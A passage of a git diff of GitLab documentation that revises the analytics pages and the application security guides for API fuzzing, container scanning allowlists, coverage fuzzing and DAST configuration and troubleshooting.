Binary files differdeleted file mode 100644 index fccfa949779..00000000000 --- a/doc/user/analytics/img/issues_created_per_month_v12_8.png +++ /dev/null diff --git a/doc/user/analytics/img/issues_created_per_month_v13_11.png b/doc/user/analytics/img/issues_created_per_month_v13_11.png Binary files differnew file mode 100644 index 00000000000..01ebde5a54d --- /dev/null +++ b/doc/user/analytics/img/issues_created_per_month_v13_11.png diff --git a/doc/user/analytics/img/lead_time_chart_v13_11.png b/doc/user/analytics/img/lead_time_chart_v13_11.png Binary files differnew file mode 100644 index 00000000000..5577e215711 --- /dev/null +++ b/doc/user/analytics/img/lead_time_chart_v13_11.png diff --git a/doc/user/analytics/index.md b/doc/user/analytics/index.md index fe35d575373..6e3c9cf7a5f 100644 --- a/doc/user/analytics/index.md +++ b/doc/user/analytics/index.md @@ -23,7 +23,7 @@ as described in ([Measuring DevOps Performance](https://devops.com/measuring-dev - MTTD (Mean Time to Detect): The average duration that a bug goes undetected in production. GitLab measures MTTD from deployment of bug to issue creation. - MTTM (Mean Time To Merge): The average lifespan of a merge request. GitLab measures MTTM from merge request creation to merge request merge (and closed/un-merged merge requests are excluded). For more information, see [Merge Request Analytics](merge_request_analytics.md). - MTTR (Mean Time to Recover/Repair/Resolution/Resolve/Restore): The average duration that a bug is not fixed in production. GitLab measures MTTR from deployment of bug to deployment of fix. -- Lead time: The duration of the work itself. Often displayed in combination with "cycle time." GitLab measures from issue first merge request creation to issue close. Note: Obviously work started before the creation of the first merge request. We plan to start measuring from "issue first commit" as a better proxy, although still imperfect. GitLab displays lead time in [Value Stream Analytics](value_stream_analytics.md). +- Lead time: The duration of the work itself. Often displayed in combination with "cycle time." GitLab measures from issue first merge request creation to issue close. Note: Work started before the creation of the first merge request. We plan to start measuring from "issue first commit" as a better proxy, although still imperfect. GitLab displays lead time in [Value Stream Analytics](value_stream_analytics.md). - Throughput: The number of issues closed or merge requests merged (not closed) in some period of time. Often measured per sprint. GitLab displays merge request throughput in [Merge Request Analytics](merge_request_analytics.md). - Value Stream: The entire work process that is followed to deliver value to customers. For example, the [DevOps lifecycle](https://about.gitlab.com/stages-devops-lifecycle/) is a value stream that starts with "plan" and ends with "monitor". GitLab helps you track your value stream using [Value Stream Analytics](value_stream_analytics.md). - Velocity: The total issue burden completed in some period of time. The burden is usually measured in points or weight, often per sprint. For example, your velocity may be "30 points per sprint". GitLab measures velocity as the total points/weight of issues closed in a given period of time. @@ -46,11 +46,13 @@ in one place. The following analytics features are available at the group level: - [Contribution](../group/contribution_analytics/index.md). **(PREMIUM)** +- [DevOps Adoption](../group/devops_adoption/index.md). **(ULTIMATE)** - [Insights](../group/insights/index.md). **(ULTIMATE)** - [Issue](../group/issues_analytics/index.md). **(PREMIUM)** -- [Productivity](productivity_analytics.md) **(PREMIUM)** -- [Repositories](../group/repositories_analytics/index.md) **(PREMIUM)** +- [Productivity](productivity_analytics.md). **(PREMIUM)** +- [Repositories](../group/repositories_analytics/index.md). **(PREMIUM)** - [Value Stream](../group/value_stream_analytics/index.md). **(PREMIUM)** +- [Application Security](../application_security/security_dashboard/#group-security-dashboard). **(ULTIMATE)** ## Project-level analytics @@ -64,3 +66,10 @@ The following analytics features are available at the project level: [feature flag](../../development/feature_flags/index.md#enabling-a-feature-flag-locally-in-development). **(PREMIUM)** - [Repository](repository_analytics.md). **(FREE)** - [Value Stream](value_stream_analytics.md). **(FREE)** +- [Application Security](../application_security/security_dashboard/#project-security-dashboard). **(ULTIMATE)** + +## User-configurable analytics + +The following analytics features are available for users to create personalized views: + +- [Application Security](../application_security/security_dashboard/#security-center). **(ULTIMATE)** diff --git a/doc/user/analytics/issue_analytics.md b/doc/user/analytics/issue_analytics.md index 6c6911ff4f4..b77a25a9d62 100644 --- a/doc/user/analytics/issue_analytics.md +++ b/doc/user/analytics/issue_analytics.md @@ -13,7 +13,7 @@ Issue Analytics is a bar graph which illustrates the number of issues created ea The default time span is 13 months, which includes the current month, and the 12 months prior. -To access the chart, navigate to your project sidebar and select **{chart}** **Analytics > Issue Analytics**. +To access the chart, navigate to your project sidebar and select **Analytics > Issue**. Hover over each bar to see the total number of issues. @@ -31,7 +31,7 @@ You can change the total number of months displayed by setting a URL parameter. For example, `https://gitlab.com/groups/gitlab-org/-/issues_analytics?months_back=15` shows a total of 15 months for the chart in the GitLab.org group. - + ## Drill into the information diff --git a/doc/user/analytics/value_stream_analytics.md b/doc/user/analytics/value_stream_analytics.md index 6c41d93d51f..2af98492ee7 100644 --- a/doc/user/analytics/value_stream_analytics.md +++ b/doc/user/analytics/value_stream_analytics.md @@ -58,19 +58,13 @@ GitLab provides the ability to filter analytics based on a date range. To filter The "Time" metrics near the top of the page are measured as follows: - **Lead time**: median time from issue created to issue closed. -- **Cycle time**: median time from first commit to issue closed. - -NOTE: -A commit is associated with an issue by [crosslinking](../project/issues/crosslinking_issues.md) in the commit message or by manually linking the merge request containing the commit. +- **Cycle time**: median time from first commit to issue closed. (You can associate a commit with an issue by [crosslinking in the commit message](../project/issues/crosslinking_issues.md#from-commit-messages).) ## How the stages are measured -Value Stream Analytics records stage time and data based on the project issues with the -exception of the staging stage, where only data deployed to -production are measured. - -Specifically, if your CI is not set up and you have not defined a [production environment](#how-the-production-environment-is-identified), then you will not have any -data for this stage. +Value Stream Analytics uses start events and stop events to measure the time that an Issue or MR spends in each stage. +For example, a stage might start when one label is added to an issue, and end when another label is added. +Items are not included in the stage time calculation if they have not reached the stop event. Each stage of Value Stream Analytics is further described in the table below. @@ -103,14 +97,8 @@ In short, the Value Stream Analytics dashboard tracks data related to [GitLab fl ## How the production environment is identified -Value Stream Analytics identifies production environments by looking for project [environments](../../ci/yaml/README.md#environment) with a name matching any of these patterns: - -- `prod` or `prod/*` -- `production` or `production/*` - -These patterns are not case-sensitive. - -You can change the name of a project environment in your GitLab CI/CD configuration. +Value Stream Analytics identifies production environments based on +[the deployment tier of environments](../../ci/environments/index.md#deployment-tier-of-environments). ## Example workflow diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md index 036da0068b5..dfb7e12a8be 100644 --- a/doc/user/application_security/api_fuzzing/index.md +++ b/doc/user/application_security/api_fuzzing/index.md @@ -63,6 +63,7 @@ Examples of both configurations can be found here: - [Example OpenAPI v2 specification project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing-example/-/tree/openapi) - [Example HTTP Archive (HAR) project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing-example/-/tree/har) - [Example Postman Collection project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing/postman-api-fuzzing-example) +- [Example GraphQL project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing/graphql-api-fuzzing-example) WARNING: GitLab 14.0 will require that you place API fuzzing configuration files (for example, @@ -73,10 +74,6 @@ starting in GitLab 14.0, GitLab will not check your repository's root for config ### Configuration form > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299234) in GitLab 13.10. -> - It's [deployed behind a feature flag](../../../user/feature_flags.md), enabled by default. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-api-fuzzing-configuration-form). **(ULTIMATE)** WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -102,25 +99,6 @@ to your project's `.gitlab-ci.yml` file where you can paste the YAML configurati Select **Copy code only** to copy the snippet to your clipboard and close the modal. -#### Enable or disable API Fuzzing configuration form **(ULTIMATE)** - -The API Fuzzing configuration form is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -Feature.enable(:api_fuzzing_configuration_ui) -``` - -To disable it: - -```ruby -Feature.disable(:api_fuzzing_configuration_ui) -``` - ### OpenAPI Specification > Support for OpenAPI Specification v3 was @@ -465,7 +443,7 @@ To use HTTP basic authentication, two CI/CD variables are added to your `.gitlab - `FUZZAPI_HTTP_USERNAME`: The username for authentication. - `FUZZAPI_HTTP_PASSWORD`: The password for authentication. -For the password, we recommended that you [create a CI/CD variable](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui) +For the password, we recommended that you [create a CI/CD variable](../../../ci/variables/README.md#custom-cicd-variables) (for example, `TEST_API_PASSWORD`) set to the password. You can create CI/CD variables from the GitLab projects page at **Settings > CI/CD**, in the **Variables** section. Use that variable as the value for `FUZZAPI_HTTP_PASSWORD`: @@ -500,7 +478,7 @@ outgoing HTTP requests. Follow these steps to provide the bearer token with `FUZZAPI_OVERRIDES_ENV`: -1. [Create a CI/CD variable](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), +1. [Create a CI/CD variable](../../../ci/variables/README.md#custom-cicd-variables), for example `TEST_API_BEARERAUTH`, with the value `{"headers":{"Authorization":"Bearer dXNlcm5hbWU6cGFzc3dvcmQ="}}` (substitute your token). You can create CI/CD variables from the GitLab projects page at **Settings > CI/CD**, in the @@ -839,7 +817,7 @@ variables: ``` In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a -[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-level-cicd-variables): +[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-cicd-variables): ```yaml include: @@ -975,7 +953,7 @@ faults it reports. ## Viewing fuzzing faults The API Fuzzing analyzer produces a JSON report that is collected and used -[to populate the faults into GitLab vulnerability screens](../index.md#view-details-of-an-api-fuzzing-vulnerability). +[to populate the faults into GitLab vulnerability screens](#view-details-of-an-api-fuzzing-vulnerability). Fuzzing faults show up as vulnerabilities with a severity of Unknown. The faults that API fuzzing finds require manual investigation and aren't associated with a specific @@ -984,8 +962,42 @@ they should be fixed. See [handling false positives](#handling-false-positives) for information about configuration changes you can make to limit the number of false positives reported. -For additional information, see -[View details of an API Fuzzing vulnerability](../index.md#view-details-of-an-api-fuzzing-vulnerability). +### View details of an API Fuzzing vulnerability + +> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.7. + +Faults detected by API Fuzzing occur in the live web application, and require manual investigation +to determine if they are vulnerabilities. Fuzzing faults are included as vulnerabilities with a +severity of Unknown. To facilitate investigation of the fuzzing faults, detailed information is +provided about the HTTP messages sent and received along with a description of the modification(s) +made. + +Follow these steps to view details of a fuzzing fault: + +1. You can view faults in a project, or a merge request: + + - In a project, go to the project's **{shield}** **Security & Compliance > Vulnerability Report** + page. This page shows all vulnerabilities from the default branch only. + - In a merge request, go the merge request's **Security** section and click the **Expand** + button. API Fuzzing faults are available in a section labeled + **API Fuzzing detected N potential vulnerabilities**. Click the title to display the fault + details. + +1. Click the fault's title to display the fault's details. The table below describes these details. + + | Field | Description | + |:--------------------|:----------------------------------------------------------------------------------------| + | Description | Description of the fault including what was modified. | + | Project | Namespace and project in which the vulnerability was detected. | + | Method | HTTP method used to detect the vulnerability. | + | URL | URL at which the vulnerability was detected. | + | Request | The HTTP request that caused the fault. | + | Unmodified Response | Response from an unmodified request. This is what a normal working response looks like. | + | Actual Response | Response received from fuzzed request. | + | Evidence | How we determined a fault occurred. | + | Identifiers | The fuzzing check used to find this fault. | + | Severity | Severity of the finding is always Unknown. | + | Scanner Type | Scanner used to perform testing. | ### Security Dashboard @@ -1016,7 +1028,7 @@ False positives can be handled in two ways: Checks perform testing of a specific type and can be turned on and off for specific configuration profiles. The provided [configuration files](#configuration-files) define several profiles that you can use. The profile definition in the configuration file lists all the checks that are active -during a scan. To turn off a specific check, simply remove it from the profile definition in the +during a scan. To turn off a specific check, remove it from the profile definition in the configuration file. The profiles are defined in the `Profiles` section of the configuration file. Example profile definition: @@ -1131,6 +1143,51 @@ Profiles: UnicodeFuzzing: true ``` +## Troubleshooting + +### Error, the OpenAPI document is not valid. Errors were found during validation of the document using the published OpenAPI schema + +At the start of an API Fuzzing job the OpenAPI specification is validated against the [published schema](https://github.com/OAI/OpenAPI-Specification/tree/master/schemas). This error is shown when the provided OpenAPI specification has validation errors. Errors can be introduced when creating an OpenAPI specification manually, and also when the schema is generated. + +For OpenAPI specifications that are generated automatically validation errors are often the result of missing code annotations. + +**Error message** + +- In [GitLab 13.11 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/323939), `Error, the OpenAPI document is not valid. Errors were found during validation of the document using the published OpenAPI schema` + - `OpenAPI 2.0 schema validation error ...` + - `OpenAPI 3.0.x schema validation error ...` + +**Solution** + +**For generated OpenAPI specifications** + +1. Identify the validation errors. + 1. Use the [Swagger Editor](https://editor.swagger.io/) to identify validation problems in your specification. The visual nature of the Swagger Editor makes it easier to understand what needs to change. + 1. Alternatively, you can check the log output and look for schema validation warnings. They are prefixed with messages such as `OpenAPI 2.0 schema validation error` or `OpenAPI 3.0.x schema validation error`. Each failed validation provides extra information about `location` and `description`. Note that JSON Schema validation messages might not be easy to understand. This is why we recommend the use of editors to validate schema documents. +1. Review the documentation for the OpenAPI generation your framework/tech stack is using. Identify the changes needed to produce a correct OpenAPI document. +1. Once the validation issues are resolved, re-run your pipeline. + +**For manually created OpenAPI Specifications** + +1. Identify the validation errors. + 1. The simplest solution is to use a visual tool to edit and validate the OpenAPI document. For example the [Swagger Editor](https://editor.swagger.io/) will point out schema errors and possible solutions. + 1. Alternatively, you can check the log output and look for schema validation warnings. They are prefixed with messages such as `OpenAPI 2.0 schema validation error` or `OpenAPI 3.0.x schema validation error`. Each failed validation provides extra information about `location` and `description`. Correct each of the validation failures and then resubmit the OpenAPI doc. Note that JSON Schema validation message might not be easy to understand. This is why we recommend the use of editors to validate document. +1. Once the validation issues are resolved, re-run your pipeline. + +### Failed to start scanner session (version header not found) + +The API Fuzzing engine outputs an error message when it cannot establish a connection with the scanner application component. The error message is shown in the job output window of the `apifuzzer_fuzz` job. A common cause of this issue is changing the `FUZZAPI_API` variable from its default. + +**Error message** + +- In [GitLab 13.11 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/323939), `Failed to start scanner session (version header not found).` +- In GitLab 13.10 and earlier, `API Security version header not found. Are you sure that you are connecting to the API Security server?`. + +**Solution** + +- Remove the `FUZZAPI_API` variable from the `.gitlab-ci.yml` file. The value will be inherited from the API Fuzzing CI/CD template. We recommend this method instead of manually setting a value. +- If removing the variable is not possible, check to see if this value has changed in the latest version of the [API Fuzzing CI/CD template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml). If so, update the value in the `.gitlab-ci.yml` file. + <!-- ### Target Container diff --git a/doc/user/application_security/container_scanning/index.md b/doc/user/application_security/container_scanning/index.md index 909065d7907..fcf5c81db74 100644 --- a/doc/user/application_security/container_scanning/index.md +++ b/doc/user/application_security/container_scanning/index.md @@ -103,7 +103,7 @@ The included template: (see [requirements](#requirements)) and scans it for possible vulnerabilities. GitLab saves the results as a -[Container Scanning report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportscontainer_scanning) +[Container Scanning report artifact](../../../ci/yaml/README.md#artifactsreportscontainer_scanning) that you can download and analyze later. When downloading, you always receive the most-recent artifact. @@ -241,7 +241,7 @@ container_scanning: -----END CERTIFICATE----- ``` -The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate. +The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate. ### Vulnerability allowlisting @@ -250,8 +250,85 @@ To allowlist specific vulnerabilities, follow these steps: 1. Set `GIT_STRATEGY: fetch` in your `.gitlab-ci.yml` file by following the instructions in [overriding the container scanning template](#overriding-the-container-scanning-template). 1. Define the allowlisted vulnerabilities in a YAML file named `vulnerability-allowlist.yml`. This must use - the format described in the [allowlist example file](https://gitlab.com/gitlab-org/security-products/analyzers/klar/-/raw/master/testdata/vulnerability-allowlist.yml). -1. Add the `vulnerability-allowlist.yml` file to your project's Git repository. + the format described in [vulnerability-allowlist.yml data format](#vulnerability-allowlistyml-data-format). +1. Add the `vulnerability-allowlist.yml` file to the root folder of your project's Git repository. + +#### vulnerability-allowlist.yml data format + +The `vulnerability-allowlist.yml` file is a YAML file that specifies a list of CVE IDs of vulnerabilities that are **allowed** to exist, because they're _false positives_, or they're _not applicable_. + +If a matching entry is found in the `vulnerability-allowlist.yml` file, the following happens: + +- The vulnerability **is not included** when the analyzer generates the `gl-container-scanning-report.json` file. +- The Security tab of the pipeline **does not show** the vulnerability. It is not included in the JSON file, which is the source of truth for the Security tab. + +Example `vulnerability-allowlist.yml` file: + +```yaml +generalallowlist: + CVE-2019-8696: + CVE-2014-8166: cups + CVE-2017-18248: +images: + registry.gitlab.com/gitlab-org/security-products/dast/webgoat-8.0@sha256: + CVE-2018-4180: + your.private.registry:5000/centos: + CVE-2015-1419: libxml2 + CVE-2015-1447: +``` + +This example excludes from `gl-container-scanning-report.json`: + +1. All vulnerabilities with CVE IDs: _CVE-2019-8696_, _CVE-2014-8166_, _CVE-2017-18248_. +1. All vulnerabilities found in the `registry.gitlab.com/gitlab-org/security-products/dast/webgoat-8.0@sha256` container image with CVE ID _CVE-2018-4180_. +1. All vulnerabilities found in `your.private.registry:5000/centos` container with CVE IDs _CVE-2015-1419_, _CVE-2015-1447_. + +##### File format + +- `generalallowlist` block allows you to specify CVE IDs globally. All vulnerabilities with matching CVE IDs are excluded from the scan report. + +- `images` block allows you to specify CVE IDs for each container image independently. All vulnerabilities from the given image with matching CVE IDs are excluded from the scan report. The image name is retrieved from one of the environment variables used to specify the Docker image to be scanned, such as `$CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG` or `DOCKER_IMAGE`. The image provided in this block **must** match this value and **must not** include the tag value. For example, if you specify the image to be scanned using `DOCKER_IMAGE=alpine:3.7`, then you would use `alpine` in the `images` block, but you cannot use `alpine:3.7`. + + You can specify container image in multiple ways: + + - as image name only (ie. `centos`). + - as full image name with registry hostname (ie. `your.private.registry:5000/centos`). + - as full image name with registry hostname and sha256 label (ie. `registry.gitlab.com/gitlab-org/security-products/dast/webgoat-8.0@sha256`). + +NOTE: +The string after CVE ID (`cups` and `libxml2` in the previous example) is an optional comment format. It has **no impact** on the handling of vulnerabilities. You can include comments to describe the vulnerability. + +##### Container scanning job log format + +You can verify the results of your scan and the correctness of your `vulnerability-allowlist.yml` file by looking +at the logs that are produced by the container scanning analyzer in `container_scanning` job details. + +The log contains a list of found vulnerabilities as a table, for example: + +```plainttext ++------------+-------------------------+------------------------+-----------------------+------------------------------------------------------------------------+ +| STATUS | CVE SEVERITY | PACKAGE NAME | PACKAGE VERSION | CVE DESCRIPTION | ++------------+-------------------------+------------------------+-----------------------+------------------------------------------------------------------------+ +| Approved | High CVE-2019-3462 | apt | 1.4.8 | Incorrect sanitation of the 302 redirect field in HTTP transport metho | +| | | | | d of apt versions 1.4.8 and earlier can lead to content injection by a | +| | | | | MITM attacker, potentially leading to remote code execution on the ta | +| | | | | rget machine. | ++------------+-------------------------+------------------------+-----------------------+------------------------------------------------------------------------+ +| Unapproved | Medium CVE-2020-27350 | apt | 1.4.8 | APT had several integer overflows and underflows while parsing .deb pa | +| | | | | ckages, aka GHSL-2020-168 GHSL-2020-169, in files apt-pkg/contrib/extr | +| | | | | acttar.cc, apt-pkg/deb/debfile.cc, and apt-pkg/contrib/arfile.cc. This | +| | | | | issue affects: apt 1.2.32ubuntu0 versions prior to 1.2.32ubuntu0.2; 1 | +| | | | | .6.12ubuntu0 versions prior to 1.6.12ubuntu0.2; 2.0.2ubuntu0 versions | +| | | | | prior to 2.0.2ubuntu0.2; 2.1.10ubuntu0 versions prior to 2.1.10ubuntu0 | +| | | | | .1; | ++------------+-------------------------+------------------------+-----------------------+------------------------------------------------------------------------+ +| Unapproved | Medium CVE-2020-3810 | apt | 1.4.8 | Missing input validation in the ar/tar implementations of APT before v | +| | | | | ersion 2.1.2 could result in denial of service when processing special | +| | | | | ly crafted deb files. | ++------------+-------------------------+------------------------+-----------------------+------------------------------------------------------------------------+ +``` + +Vulnerabilities in the log are marked as `Approved` when the corresponding CVE ID is added to the `vulnerability-allowlist.yml` file. ### Running container scanning in an offline environment diff --git a/doc/user/application_security/coverage_fuzzing/index.md b/doc/user/application_security/coverage_fuzzing/index.md index 94a7d5268b7..e9097836d83 100644 --- a/doc/user/application_security/coverage_fuzzing/index.md +++ b/doc/user/application_security/coverage_fuzzing/index.md @@ -109,7 +109,7 @@ There are two types of jobs: Here's our current suggestion for configuring your fuzz target's timeout: - Set `COVFUZZ_BRANCH` to the branch where you want to run long-running (asynchronous) fuzzing - jobs. This is `master` by default. + jobs. This is normally the default branch. - Use regression or short-running fuzzing jobs for other branches or merge requests. This suggestion helps find new bugs on the development branch and catch old bugs in merge requests @@ -121,10 +121,10 @@ any option available in the underlying fuzzing engine. ### Available CI/CD variables -| CI/CD variable | Description | -|-----------------------|--------------------------------------------------------------------| -| `COVFUZZ_BRANCH` | The branch for long-running fuzzing jobs. The default is `master`. | -| `COVFUZZ_SEED_CORPUS` | Path to a seed corpus directory. The default is empty. | +| CI/CD variable | Description | +|-----------------------|--------------------------------------------------------------------------------| +| `COVFUZZ_BRANCH` | The branch for long-running fuzzing jobs. This is normally the default branch. | +| `COVFUZZ_SEED_CORPUS` | Path to a seed corpus directory. The default is empty. | | `COVFUZZ_URL_PREFIX` | Path to the `gitlab-cov-fuzz` repository cloned for use with an offline environment. You should only change this when using an offline environment. The default value is `https://gitlab.com/gitlab-org/security-products/analyzers/gitlab-cov-fuzz/-/raw`. | The files in the seed corpus (`COVFUZZ_SEED_CORPUS`), if provided, aren't updated unless you commit new @@ -141,7 +141,7 @@ The `gitlab-cov-fuzz` tool emits a JSON report file. For more information, see t [schema for this report](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/coverage-fuzzing-report-format.json). You can download the JSON report file from the CI pipelines page. For more information, see -[Downloading artifacts](../../../ci/pipelines/job_artifacts.md#downloading-artifacts). +[Downloading artifacts](../../../ci/pipelines/job_artifacts.md#download-job-artifacts). Here's an example coverage fuzzing report: diff --git a/doc/user/application_security/dast/dast_troubleshooting.md b/doc/user/application_security/dast/dast_troubleshooting.md new file mode 100644 index 00000000000..48b48392e65 --- /dev/null +++ b/doc/user/application_security/dast/dast_troubleshooting.md @@ -0,0 +1,64 @@ +--- +stage: Secure +group: Dynamic Analysis +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference, howto +--- + +# Dynamic Application Security Testing (DAST) Troubleshooting **(ULTIMATE)** + +The following troubleshooting scenarios have been collected from customer support cases. If you +experience a problem not addressed here, or the information here does not fix your problem, create a +support ticket. For more details, see the [GitLab Support](https://about.gitlab.com/support/) page. + +## Running out of memory + +By default, ZAProxy, which DAST relies on, is allocated memory that sums to 25% +of the total memory on the host. +Since it keeps most of its information in memory during a scan, +it's possible for DAST to run out of memory while scanning large applications. +This results in the following error: + +```plaintext +[zap.out] java.lang.OutOfMemoryError: Java heap space +``` + +Fortunately, it's straightforward to increase the amount of memory available +for DAST by using the `DAST_ZAP_CLI_OPTIONS` CI/CD variable: + +```yaml +include: + - template: DAST.gitlab-ci.yml + +variables: + DAST_ZAP_CLI_OPTIONS: "-Xmx3072m" +``` + +This example allocates 3072 MB to DAST. +Change the number after `-Xmx` to the required memory amount. + +## DAST job exceeding the job timeout + +If your DAST job exceeds the job timeout and you need to reduce the scan duration, we shared some +tips for optimizing DAST scans in a [blog post](https://about.gitlab.com/blog/2020/08/31/how-to-configure-dast-full-scans-for-complex-web-applications/). + +## Getting warning message `gl-dast-report.json: no matching files` + +For information on this, see the [general Application Security troubleshooting section](../../../ci/pipelines/job_artifacts.md#error-message-no-files-to-upload). + +## Getting error `dast job: chosen stage does not exist` when including DAST CI template + +To avoid overwriting stages from other CI files, newer versions of the DAST CI template do not +define stages. If you recently started using `DAST.latest.gitlab-ci.yml` or upgraded to a new major +release of GitLab and began receiving this error, you must define a `dast` stage with your other +stages. Note that you must have a running application for DAST to scan. If your application is set +up in your pipeline, it must be deployed in a stage _before_ the `dast` stage: + +```yaml +stages: + - deploy # DAST needs a running application to scan + - dast + +include: + - template: DAST.latest.gitlab-ci.yml +``` diff --git a/doc/user/application_security/dast/img/dast_v13_4.png b/doc/user/application_security/dast/img/dast_v13_4.png Binary files differdeleted file mode 100644 index d9c1d1b5c66..00000000000 --- a/doc/user/application_security/dast/img/dast_v13_4.png +++ /dev/null diff --git a/doc/user/application_security/dast/index.md b/doc/user/application_security/dast/index.md index 209dd7ad251..d3f679fe9dd 100644 --- a/doc/user/application_security/dast/index.md +++ b/doc/user/application_security/dast/index.md @@ -7,125 +7,142 @@ type: reference, howto # Dynamic Application Security Testing (DAST) **(ULTIMATE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4348) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.4. +If you deploy your web application into a new environment, your application may +become exposed to new types of attacks. For example, misconfigurations of your +application server or incorrect assumptions about security controls may not be +visible from the source code. -Your application may be exposed to a new category of attacks once deployed into a new environment. For -example, application server misconfigurations or incorrect assumptions about security controls may -not be visible from source code alone. Dynamic Application Security Testing (DAST) checks an -application for these types of vulnerabilities in a deployed environment. GitLab DAST uses the -popular open source tool [OWASP Zed Attack Proxy](https://www.zaproxy.org/) to analyze your running -web application. +Dynamic Application Security Testing (DAST) examines applications for +vulnerabilities like these in deployed environments. DAST uses the open source +tool [OWASP Zed Attack Proxy](https://www.zaproxy.org/) for analysis. NOTE: -The whitepaper ["A Seismic Shift in Application Security"](https://about.gitlab.com/resources/whitepaper-seismic-shift-application-security/) -explains how 4 of the top 6 attacks were application based. Download it to learn how to protect your -organization. +To learn how four of the top six attacks were application-based and how +to protect your organization, download our +["A Seismic Shift in Application Security"](https://about.gitlab.com/resources/whitepaper-seismic-shift-application-security/) +whitepaper. -In GitLab, DAST is commonly initiated by a merge request and runs as a job in the CI/CD pipeline. -You can also run a DAST scan on demand, outside the CI/CD pipeline. Your running web application is -analyzed for known vulnerabilities. GitLab checks the DAST report, compares the vulnerabilities -found between the source and target branches, and shows any relevant findings on the merge request. +You can use DAST to examine your web applications: -Note that this comparison logic uses only the latest pipeline executed for the target branch's base -commit. Running the pipeline on any other commit has no effect on the merge request. +- When initiated by a merge request, running as CI/CD pipeline job. +- On demand, outside the CI/CD pipeline. - +After DAST creates its report, GitLab evaluates it for discovered +vulnerabilities between the source and target branches. Relevant +findings are noted in the merge request. -## Enable DAST +The comparison logic uses only the latest pipeline executed for the target +branch's base commit. Running the pipeline on other commits has no effect on +the merge request. + +## Prerequisite -### Prerequisites +To use DAST, ensure you're using GitLab Runner with the +[`docker` executor](https://docs.gitlab.com/runner/executors/docker.html). -- GitLab Runner with the [`docker` executor](https://docs.gitlab.com/runner/executors/docker.html). +## Enable DAST To enable DAST, either: -- Enable [Auto DAST](../../../topics/autodevops/stages.md#auto-dast), provided by - [Auto DevOps](../../../topics/autodevops/index.md). -- [Include the DAST template](#dast-cicd-template) in your existing `.gitlab-ci.yml` file. +- Enable [Auto DAST](../../../topics/autodevops/stages.md#auto-dast) (provided + by [Auto DevOps](../../../topics/autodevops/index.md)). +- Manually [include the DAST template](#include-the-dast-template) in your existing + `.gitlab-ci.yml` file. -### DAST CI/CD template +### Include the DAST template -The DAST job is defined in a CI/CD template file you reference in your CI/CD configuration file. The -template is included with GitLab. Updates to the template are provided with GitLab upgrades. You -benefit from any improvements and additions. +If you want to manually add DAST to your application, the DAST job is defined +in a CI/CD template file. Updates to the template are provided with GitLab +upgrades, allowing you to benefit from any improvements and additions. -The following templates are available: +To include the DAST template: -- [`DAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml): - Stable version of the DAST CI/CD template. -- [`DAST.latest.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml): - Latest version of the DAST template. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/254325) - in GitLab 13.8). Please note that the latest version may include breaking changes. Check the - [DAST troubleshooting guide](#troubleshooting) if you experience problems. +1. Select the CI/CD template you want to use: -Use the stable template unless you need a feature provided only in the latest template. + - [`DAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml): + Stable version of the DAST CI/CD template. + - [`DAST.latest.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml): + Latest version of the DAST template. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/254325) + in GitLab 13.8). -See the CI/CD [documentation](../../../development/cicd/templates.md#latest-version) -on template versioning for more information. + WARNING: + The latest version of the template may include breaking changes. Use the + stable template unless you need a feature provided only in the latest template. -#### Include the DAST template + For more information about template versioning, see the + [CI/CD documentation](../../../development/cicd/templates.md#latest-version). -The method of including the DAST template depends on the GitLab version: +1. Add a `dast` stage to your GitLab CI stages configuration: -- In GitLab 11.9 and later, [include](../../../ci/yaml/README.md#includetemplate) the - `DAST.gitlab-ci.yml` template. + ```yaml + stages: + - dast + ``` - Add the following to your `.gitlab-ci.yml` file: +1. Add the template to GitLab, based on your version of GitLab: - ```yaml - include: - - template: DAST.gitlab-ci.yml + - In GitLab 11.9 and later, [include](../../../ci/yaml/README.md#includetemplate) + the template by adding the following to your 